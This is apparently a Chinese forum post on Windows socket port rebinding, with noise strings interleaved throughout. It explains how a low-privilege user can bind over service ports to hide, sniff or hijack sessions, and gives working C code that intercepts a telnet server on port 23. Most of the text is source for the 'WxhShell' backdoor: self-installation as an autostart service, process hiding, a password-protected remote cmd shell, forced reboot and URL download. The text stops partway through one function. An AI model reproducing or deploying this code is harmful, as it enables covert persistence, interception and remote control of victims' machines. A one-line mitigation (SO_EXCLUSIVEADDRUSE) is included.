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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: q1|@v#kH6 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); V:AA{< 160BgFM saddr.sin_family = AF_INET; o+S?j*mv@ :/}=s5aQl/ saddr.sin_addr.s_addr = htonl(INADDR_ANY); =knBwjeD D2\Ep L/ bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); = mhg@N4 Yg1HvSw\ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Z/;8eb*B7 ~6OdwGWV 这意味着什么?意味着可以进行如下的攻击: 8PG&/"K p\]rxtm 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 a6/E TQ W:2]d 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) XKT[8o<L \@_?mL@= 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 SMQC/t]HT $@WA}\D 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 n+Ng7 >vuR:4B 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 g_"B:DR UXHtmi|_: 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 P;ZVv{mT Hqu?="f= 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 7TZ,bD_ Uz`OAb #include +#@2, #include 48mTL+* #include ZYz8ul$E #include miY=xwK& DWORD WINAPI ClientThread(LPVOID lpParam); EDA6b] int main() b|Eo\l2 { .5#+)] l WORD wVersionRequested; GGGz7_s
? DWORD ret; .B6mvb\ WSADATA wsaData; 2y9$ k\<xV BOOL val; +1Rz + SOCKADDR_IN saddr; e&9v`8}
SOCKADDR_IN scaddr; !@
)JqF. int err; 2W)KfS SOCKET s; 3gW+|3E SOCKET sc; mxCqN1:# int caddsize; ' KNg; HANDLE mt; 4}<[4]f?| DWORD tid; h;J%Z!Rjw wVersionRequested = MAKEWORD( 2, 2 ); Oc/ i' err = WSAStartup( wVersionRequested, &wsaData ); <I2~>x5db if ( err != 0 ) { v0%FG9Gk printf("error!WSAStartup failed!\n"); 7+P-MT return -1; byIP]7Ld } {\
BFWGX saddr.sin_family = AF_INET; t
y%Hrw 7t6TB*H //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ,k,+UisG LlbE]_Z!U% saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); VS5D)5w# saddr.sin_port = htons(23); Pm|S>r if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
NF_[q(k' { N9O}6 printf("error!socket failed!\n"); mFBuKp+0)h return -1; +?0r%R%\ } m$$sNPnT val = TRUE; j|y"Lcq //SO_REUSEADDR选项就是可以实现端口重绑定的 Kr%O}<" if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) VQ4rEO=t { RM!VAFH
printf("error!setsockopt failed!\n"); WAb@d=H{+> return -1; }\EHZ } ^
}|$_ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Gg5>~"pb //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 .[vYT.LE //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 EB5^eNdL x<) T,c5Y if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) oX6()FR { i0[mU, ret=GetLastError(); L^jhr>-"; printf("error!bind failed!\n"); (w/lZt return -1; XC[bEp$ } F2$?[1^f listen(s,2); 5Ja[p~^L while(1) G 2FD'Sf { WL<f! caddsize = sizeof(scaddr); PE2O$:b\ //接受连接请求 Kd3EZo. sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); HhB'
^) if(sc!=INVALID_SOCKET) b!z=: { ?"T *{8 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); dijHi if(mt==NULL) iZ2nBiQ { R|!4klb printf("Thread Creat Failed!\n"); X@@7Qk break; (.9H1aO46| } Y9nyKL } 3x
E^EXV CloseHandle(mt); c.;<+dYsm* } ob7hNo# closesocket(s); /SJI ~f+$ WSACleanup(); qk!,:T return 0; S~.%G)R } WVh]<?GWXk DWORD WINAPI ClientThread(LPVOID lpParam) 7iH%1f { :n$?wp SOCKET ss = (SOCKET)lpParam; $Q56~AP SOCKET sc; .&n;S';" unsigned char buf[4096]; lC=T{rR SOCKADDR_IN saddr; ROr| < long num; jxDA+7 DWORD val; M[Mx
g
DWORD ret; 6G?7>M //如果是隐藏端口应用的话,可以在此处加一些判断 QZ_8r#2x //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 Xe<kdB3 saddr.sin_family = AF_INET; )|L#i2?: saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Rj/ y.g saddr.sin_port = htons(23); 1IZTo!xi if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) @s~*>k#"# { jg=}l1M" printf("error!socket failed!\n"); _t\)W(E& return -1; Mt(;7q@1c } Y
j*Y*LB~ val = 100; pL{:8Ed if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) `'/1Ij+ { =42NQ{%@; ret = GetLastError(); ,\0>d}eh! return -1; f5hf<R),A } <|4L+?_(& if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) `Bv, :i { +cx(Q(HD\ ret = GetLastError(); U7d05y' return -1; (Ei} :6,} } ,HfdiGs}j if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) +&8'@v$ { !i?aRI/6 printf("error!socket connect failed!\n"); \$D41_Wt| closesocket(sc); z#{%[X2 closesocket(ss); K{]\}7+
return -1; $ D(q } 2"L a}Vx2 while(1) >7nOR { >Ms_bfSK //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 @7OE:& #V //如果是嗅探内容的话,可以再此处进行内容分析和记录 kDK0L3}nr] //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 $C9['GGR num = recv(ss,buf,4096,0); 5tm:|.`SQ if(num>0) -Oc send(sc,buf,num,0);
NUGiDJ+[ else if(num==0) qre(3,VE5 break; IyGW>g6_. num = recv(sc,buf,4096,0); _&/2-3]\B if(num>0) 6eAJ>9@x send(ss,buf,num,0); =FXq=x%9+ else if(num==0) @!2vS@f break; yo"!C?82= } ]ag^~8bG
@ closesocket(ss); F]`_ak E closesocket(sc); QF9$SCmv return 0 ;
:A]CD( } Qe1WT T]:I s f<NC>-
'' Pfs<! ========================================================== ?/^x)Nm C+Pw 下边附上一个代码,,WXhSHELL ?4MZT5 . +"Mlj$O ========================================================== ,ko0XQBl _XUDPC(*qz #include "stdafx.h" !vH={40 ] UaV8!Z> #include <stdio.h> ;@G5s+<l #include <string.h> h&m4"HBL_ #include <windows.h> uPBtR #include <winsock2.h>
=U+_;;F= #include <winsvc.h> k2ZMDU #include <urlmon.h> {
^
@c96& ^F`\B'8MF #pragma comment (lib, "Ws2_32.lib") O(YvE #pragma comment (lib, "urlmon.lib") s!\Gi5b `& }C*i" #define MAX_USER 100 // 最大客户端连接数 vON1\$bu` #define BUF_SOCK 200 // sock buffer JzuP AI #define KEY_BUFF 255 // 输入 buffer T,fDH!a
&L4>w.b"N #define REBOOT 0 // 重启 H4JwgQ #define SHUTDOWN 1 // 关机 $BWA=2$ @8'LI8 \/ #define DEF_PORT 5000 // 监听端口 ;0]s:0WD0P I vD M2q8f #define REG_LEN 16 // 注册表键长度 ({kOgOeC #define SVC_LEN 80 // NT服务名长度 {^*D5 f^9ntos| // 从dll定义API d}(b!q9 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); fGMuml?[ e typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); `ls^fnJTpf typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); )b;}]C typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); &U0Y#11Cx 5qQ\ H} // wxhshell配置信息 Gjo&~*; struct WSCFG { nj5Hls int ws_port; // 监听端口 ,NoWAmv char ws_passstr[REG_LEN]; // 口令 iE=:}"pI" int ws_autoins; // 安装标记, 1=yes 0=no NM&R\GI char ws_regname[REG_LEN]; // 注册表键名 &xMQ char ws_svcname[REG_LEN]; // 服务名 \s">trXwX char ws_svcdisp[SVC_LEN]; // 服务显示名 W#lt_2!j char ws_svcdesc[SVC_LEN]; // 服务描述信息 Wc!.{2 char ws_passmsg[SVC_LEN]; // 密码输入提示信息 rEG!A87Zz int ws_downexe; // 下载执行标记, 1=yes 0=no EawtT char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" :}p<Hq 8Z char ws_filenam[SVC_LEN]; // 下载后保存的文件名 8I,/ysT: X UcM~U- }; j`ybz G^ tboc7Hor4 // default Wxhshell configuration 6HR^q struct WSCFG wscfg={DEF_PORT, 1i:Q
%E
F "xuhuanlingzhe", dEG1[QG 1, TC^fyxq "Wxhshell", (GXFPEH8 "Wxhshell", mM)d`br "WxhShell Service", K1[(%<Gp "Wrsky Windows CmdShell Service", !S5_+.U# "Please Input Your Password: ", R\,qL-Br 1, A_JNj8<6r " http://www.wrsky.com/wxhshell.exe", w>uo-88 "Wxhshell.exe" ZRLS3*` }; '?dT<w=Y& w@&(=C // 消息定义模块 1OW#_4w/ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; vDp|9VY? char *msg_ws_prompt="\n\r? for help\n\r#>"; -Gmg&yQ9 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; n>i}O!agg char *msg_ws_ext="\n\rExit."; e.?;mD char *msg_ws_end="\n\rQuit."; !0!r}#P char *msg_ws_boot="\n\rReboot..."; #5}v? char *msg_ws_poff="\n\rShutdown..."; /E<:=DD< char *msg_ws_down="\n\rSave to "; { K* 9>hK4&m^ char *msg_ws_err="\n\rErr!"; ?N(opggiD char *msg_ws_ok="\n\rOK!"; L|A.;Gq hT?|:!ED.F char ExeFile[MAX_PATH]; .YxcXe3# int nUser = 0; a5@XD_b HANDLE handles[MAX_USER]; ;iTZzmB int OsIsNt; );oE^3]f *ci%c^}V SERVICE_STATUS serviceStatus; eL{6;.C SERVICE_STATUS_HANDLE hServiceStatusHandle; 5;Q9Z1
` ^muPjM+D // 函数声明 |tqYRWn0 int Install(void); NG?- dkD int Uninstall(void); bbxo!K
m" int DownloadFile(char *sURL, SOCKET wsh); )ME'qA3K int Boot(int flag); 2!;U.+( void HideProc(void); "E}38 int GetOsVer(void); l"app]uVZ int Wxhshell(SOCKET wsl); C}8 3t~Q void TalkWithClient(void *cs); k~HS_b*]d int CmdShell(SOCKET sock); hz*H,E!> int StartFromService(void);
-
j_ int StartWxhshell(LPSTR lpCmdLine); 8bI;xjK^Q pA?2UZ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); +je{%,* VOID WINAPI NTServiceHandler( DWORD fdwControl ); @]xHt&j J{h?=vK // 数据结构和表定义 @'fWS^ ;& SERVICE_TABLE_ENTRY DispatchTable[] = MZK%IC> { _W^{,*p {wscfg.ws_svcname, NTServiceMain}, 0;avWa)Q {NULL, NULL} 8KyF0r? }; 5;_&C=[ {&d )O // 自我安装 `;\~$^sj} int Install(void) ]0@
06G(y { lz88//@gZ char svExeFile[MAX_PATH]; fs;pX/:FR HKEY key; 4NxI:d$&* strcpy(svExeFile,ExeFile); %% A==_b *e}1KcJ // 如果是win9x系统,修改注册表设为自启动 )9'Zb`n if(!OsIsNt) { PWbi`qF)r if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ?2i\ERG? RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3?:?dy(3z RegCloseKey(key); z((9vi W
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { )h,-zAnZ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
j^qI~|# RegCloseKey(key); 3}25=%;[ return 0; n+%tu"e } +#MQ8d } fZF.eRP' } Kb,#Ot else { G0&'B6I> Zq\Vq:MX // 如果是NT以上系统,安装为系统服务 &=`6- J SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); z)0%gd| if (schSCManager!=0) 2X!!RS>qg { I^itlQ SC_HANDLE schService = CreateService <9yB& ^ ( #)
bqn|0l schSCManager, fOkB|E] wscfg.ws_svcname, jO6yZt wscfg.ws_svcdisp, \\i$zRi SERVICE_ALL_ACCESS, UgAG2 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , vQhi2J' SERVICE_AUTO_START, f$p7L.d< SERVICE_ERROR_NORMAL, T$r?LIa ,Q svExeFile, )!jX$bK NULL, &p6^
NULL, ztHEXM. NULL, ~zD*=h2C NULL, :Yy8Ie# NULL (043G[H'. ); JTI 'W if (schService!=0) Dh~Z8!* { XbMAcgS CloseServiceHandle(schService); 8@J5tFJ&% CloseServiceHandle(schSCManager); l5fF.A7TT strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); nk^-+olm strcat(svExeFile,wscfg.ws_svcname); bdz&"\$X if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { k%fy RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ^#)M,.G^ RegCloseKey(key); }}MZgm~U) return 0; ct-;L' a } ("-`Y'"K } nps"nggk CloseServiceHandle(schSCManager); 5X=ik7m^ } :dkBr@u96O } k>mqKzT0$+ ;OD+6@Sr return 1; K}1eQS&$a } Sw^-@w=!U5 ]`GDZw` // 自我卸载 *&sXC@^@^ int Uninstall(void) T_1p1Sg { gg}^@h&? HKEY key; {_<,5)c }$T!qMst{ if(!OsIsNt) { 3PU'd^ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 'p:L"L}Q? RegDeleteValue(key,wscfg.ws_regname); 4C[n@p2 RegCloseKey(key); hDc)\vzr if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Eh*t;J=O RegDeleteValue(key,wscfg.ws_regname); Yvbk[Rb RegCloseKey(key); <;.->73E return 0; PZsq9;P$ } .vJt&@NO } _z(ydL* } >(:b\*C else { Pu7cL At=l>
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 2W]y9)<c if (schSCManager!=0) E+|r
h-M 7 { vspub^;5\ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); V-
HO_GDo if (schService!=0) [osm\w49 { '-k~qQk)6 if(DeleteService(schService)!=0) { P 2^((c CloseServiceHandle(schService); .ugQH<B CloseServiceHandle(schSCManager); ~PAbtY9}U return 0; <{yQNXf[ } 4hh=z>$|l) CloseServiceHandle(schService); zA?]AL(+YW } b/dyH CloseServiceHandle(schSCManager); Y%iimbBY| } BpQ/$?5E" } 875BD U (!9ybH;T return 1; 0;pO QF } ^S'tMT_ GY;q0oQ, // 从指定url下载文件 EFKOElG(k int DownloadFile(char *sURL, SOCKET wsh) zu-1|XX { byUz HRESULT hr; qn4jy6 char seps[]= "/"; <dA1n:3o char *token; F9&ae*>, char *file; ~0~f char myURL[MAX_PATH]; m;]glAtt char myFILE[MAX_PATH]; ,J0BG0jB^u wRi` L7 strcpy(myURL,sURL); j/9Uf|z-_ token=strtok(myURL,seps); K@PQLL#yJp while(token!=NULL) _hb@O2f { ;uazQyo6 file=token; YN@4.&RP token=strtok(NULL,seps); %95'oW)lo } U'tfsf/V 0 w#[?. GetCurrentDirectory(MAX_PATH,myFILE); Sn lKPd strcat(myFILE, "\\"); &R
"Q strcat(myFILE, file); A+Xk=k5< send(wsh,myFILE,strlen(myFILE),0); #=hI}%n send(wsh,"...",3,0); @]0;aZ{3 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); =1}Umn|ZLS if(hr==S_OK) C'c9AoE5> return 0; p#Vh[UTl^ else mtON
dI return 1; <Y9xHn& Uc3-n`C } URFp3 qE ]O\Oj6C // 系统电源模块 =(~UK9` int Boot(int flag) h^D]@H { -^sbf. HANDLE hToken; 9(/ ;Wutj" TOKEN_PRIVILEGES tkp; M9/c8zZ YIQm;EEG if(OsIsNt) { 8,,$C7"EP OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); :2KLziO2 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); >_4Ck{^d# tkp.PrivilegeCount = 1; ?T(>!m tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; z$>_c"D AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); fb 8t9sAI if(flag==REBOOT) { ( IXe555 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) z|V5/" return 0; a3<.F&c+c } Q6 G-`&5 else { 2h6<'2'o1 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) @L-3&~= return 0; AIvIQ$6} } 6eqPaIaD } 9N [PZD else { hK,e<?N^ if(flag==REBOOT) { m"<Sb,"x! if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ORV~F0d< return 0; \p-3P)U } |@x^5Ab$T else { 0
7CufoI if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) |-HV@c] return 0; {1Z`'.FU } $EB&]t+ } k(oHmw !c+Nf2I7S return 1; Z. ))=w6G } DB'd9< TRl,L5wd-? // win9x进程隐藏模块 e `!PQMLU void HideProc(void) X4:\Shb97 { 1jJ>(S nl)!)t=n HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); XA~Cc<v if ( hKernel != NULL ) n4cM
/unU { vap,)kILF pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); MqBA?7 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); !TH3oLd" FreeLibrary(hKernel); *Op;].>E } >[=fbL@N<@ G/nSF:r p return; ?v-( :OF } RnN]m!"5 JM-spi o // 获取操作系统版本 cY|?iEVs) int GetOsVer(void) ?mJNzHrq; { cuO)cj]@e OSVERSIONINFO winfo; ,&$+{3 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); WB2An7i@"{ GetVersionEx(&winfo); W)dQyZ>J if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ad "yo=%1 return 1; 4L RrrW else OS k+l return 0; [i18$q5D } prvvr;Ib H uPw?8w= // 客户端句柄模块 d%:B,bck int Wxhshell(SOCKET wsl) 2NHkK_B1P { M^c`j#NQ SOCKET wsh; +>#SB"' struct sockaddr_in client; v=A]#O% DWORD myID; '~HCYE:5 Zl69d4vG while(nUser<MAX_USER) ?MT
V!i0 { O,`#h*{N int nSize=sizeof(client); 9E/{HNkf wsh=accept(wsl,(struct sockaddr *)&client,&nSize); B?
$9M9 if(wsh==INVALID_SOCKET) return 1; *C81DQ $4^cbk handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); =IQ+9Fl2 if(handles[nUser]==0) q6h'=By closesocket(wsh); ~c&ygL3 else 3;@/`Z_\lt nUser++; Yv?nw-HM } !}Sf?nP# WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); >wz&{9ni G%{J.J41F return 0; >h^CC*&'pw } u^DfRd&P0 LUGyc( h // 关闭 socket DJxe3< void CloseIt(SOCKET wsh) :DI``]Si\ { KMO(f!? closesocket(wsh); i6L>,^Dg nUser--; `nAR/Ye ExitThread(0); ;JM%O8 } q\2q3}n B?BB // 客户端请求句柄 m0}Pq{g void TalkWithClient(void *cs) B$R"Ntp { >WfkWUb OAoTsqj6 SOCKET wsh=(SOCKET)cs; f)`_su
U char pwd[SVC_LEN]; \LYB% K} char cmd[KEY_BUFF]; 4e6x1`Y{xB char chr[1]; p"A2N+
int i,j; KxyD{W1 ?b?6/_W~R while (nUser < MAX_USER) { ({XB,Rm h<)YZ[;x if(wscfg.ws_passstr) { nQe^Bn if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); o~Jce$X //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); b-Q*!Ut //ZeroMemory(pwd,KEY_BUFF); bXSsN\:Y@[ i=0; x*]&Ca0+ while(i<SVC_LEN) { >o=O^:/L ]mDsd* 1 // 设置超时 {+`'ZU6C fd_set FdRead; v2OK/W,0 struct timeval TimeOut; V}?*kx~T2C FD_ZERO(&FdRead); +m|S7yr' FD_SET(wsh,&FdRead); ^|u7+b'|t TimeOut.tv_sec=8; 8+HXGqcv TimeOut.tv_usec=0; HPz9Er int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 7R4sd if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); :{:R5d(_I %sd1`1In if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); O*;$))<wX pwd =chr[0]; mGss9eZa if(chr[0]==0xd || chr[0]==0xa) { Ri[ v(Zf pwd=0; 'o D31\@I break; up(6/-/.7 } 7Cx*Ts $ i++; V*xo3hU } Hz?C9q3BX \<cs:C\h7 // 如果是非法用户,关闭 socket v[k;R if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ZGILV } /INjP~C S511}KPbm/ send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); K]~! =j)v send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9'1XZpM1 ,]A|z ~q while(1) { 5Q)hl.<{o7 @1+gY4g ZeroMemory(cmd,KEY_BUFF); _/FpmnaY I&2)@Zw // 自动支持客户端 telnet标准 }XOTK^YA j=0; C)x>/Qr ~ while(j<KEY_BUFF) { 47S1mxur if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^("23mhfJ cmd[j]=chr[0]; 7T\LYDT if(chr[0]==0xa || chr[0]==0xd) { gu~JB cmd[j]=0; rM?O 2n break; v'0WE } 9' $\GN{0 j++; , %8keGhl } p(B^](? !hMD>B2Z // 下载文件 }da}vR"iL if(strstr(cmd,"http://")) { !?AgAsSmc send(wsh,msg_ws_down,strlen(msg_ws_down),0); [h5~1N if(DownloadFile(cmd,wsh)) D8OW|wVE send(wsh,msg_ws_err,strlen(msg_ws_err),0); (]_smsok else /nPNHO>U send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); DGc5Lol~ } sJI"
m'r=Z else { -0I]Sm;$ 3np |\i switch(cmd[0]) { PZ#\O "YC5viX // 帮助 +69[06F case '?': { jDO"?@+ send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); `6No6.\J break; f9%M:cl } !t;B.[U * // 安装 #<$pl]>}t case 'i': { +.czj,Sq if(Install()) /8cfdP Ba send(wsh,msg_ws_err,strlen(msg_ws_err),0); GbXa=*
<-< else l:@`.'-= send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0:1[F!]'b break; &c AFKYt } EDDld6O, // 卸载 ;bYpMcH case 'r': { hL?"! if(Uninstall()) [-5l=j
r send(wsh,msg_ws_err,strlen(msg_ws_err),0);
~ERA else &06pUp
iS send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); G5oBe6\C break; bMA\_? } 3+<f7 // 显示 wxhshell 所在路径 sahXPl%;U case 'p': { Ye=c;0V(w char svExeFile[MAX_PATH]; JEL.*[/ strcpy(svExeFile,"\n\r"); >s%&t[r6 strcat(svExeFile,ExeFile); 6_=t~9sY send(wsh,svExeFile,strlen(svExeFile),0); (kY wD break; J<9;Ix8R } ov
'g'1} // 重启 >h
Rq case 'b': { t}Q
PPp y send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); X/8TRiTFv if(Boot(REBOOT)) 2Wx~+@1y send(wsh,msg_ws_err,strlen(msg_ws_err),0); Qi;62M else { Ya*<me>`
closesocket(wsh); -d*zgP ExitThread(0); nb30<h } 0en
Bq>vr break; _xmS$z)TO } i-YSt5iq // 关机 x :? EL)( case 'd': { pba`FC4R send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); J$D/-*/@ if(Boot(SHUTDOWN)) `
it<\r[= send(wsh,msg_ws_err,strlen(msg_ws_err),0); >zS<1 else { o>l/*i0I closesocket(wsh); "\~d!"n|2 ExitThread(0); I1)t1%6"vJ } -;Ij , break; U/s! Tb>` } 9Qb6ek // 获取shell l+r3|b case 's': { 7Eo;TNbb CmdShell(wsh); %7v!aJ40 closesocket(wsh); s?yl4\]Muf ExitThread(0); mHB0eB'l break; ])9|j } VprrklZ // 退出 ]r(&hqdR case 'x': { WbwS!F<au send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); V |hr 9 CloseIt(wsh); th^&wp break; eia>Y$ } bjr()NM1 // 离开 4(%LG)a4S case 'q': { 3+WmM4| send(wsh,msg_ws_end,strlen(msg_ws_end),0); dr gCr:Gf closesocket(wsh); x:E:~h[.^ WSACleanup(); e6i m_ Tk exit(1); IJk<1T7:(W break; 2uzy]faM } O$(#gB'B } 08qM?{zo^ } -%ftPfm F T$x#> // 提示信息 0x2[*pJ|IW if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); jmJeu@( } #/
HQ?3h] } /=[hRn@)A {'UK>S return; hkDew0k } S7h?tR*u FT
Ytf4t // shell模块句柄 % pQi}x int CmdShell(SOCKET sock) 43s8a { )ZMR4U$+v STARTUPINFO si; ~F.kgX ZeroMemory(&si,sizeof(si)); ZkqZO#nq
C si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Zv5vYe9Ow si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; XR+ PROCESS_INFORMATION ProcessInfo; zrL +:/t char cmdline[]="cmd"; q^eLbivVE CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); nC5]IYL| return 0; VLcwBdo } ly::? 6=p!`DOd // 自身启动模式 h'"~t#r int StartFromService(void) ^D?{[LBc { 62 9g_P) typedef struct (b"kN( { =3EE-%eF! DWORD ExitStatus; ?#lHQT DWORD PebBaseAddress; xs^wRE_ DWORD AffinityMask; 6B!v;93U DWORD BasePriority; &R,QJ4L ULONG UniqueProcessId; 6$&%z Eh ULONG InheritedFromUniqueProcessId; -u^f;4|u } PROCESS_BASIC_INFORMATION; Y-.aSc53 XaH; PROCNTQSIP NtQueryInformationProcess; 4O7
{a YM&i static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; rCd*'Qg static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; t[p/65L>8 @;7Ht Z` HANDLE hProcess; Gx;-1 PROCESS_BASIC_INFORMATION pbi; [mFgo
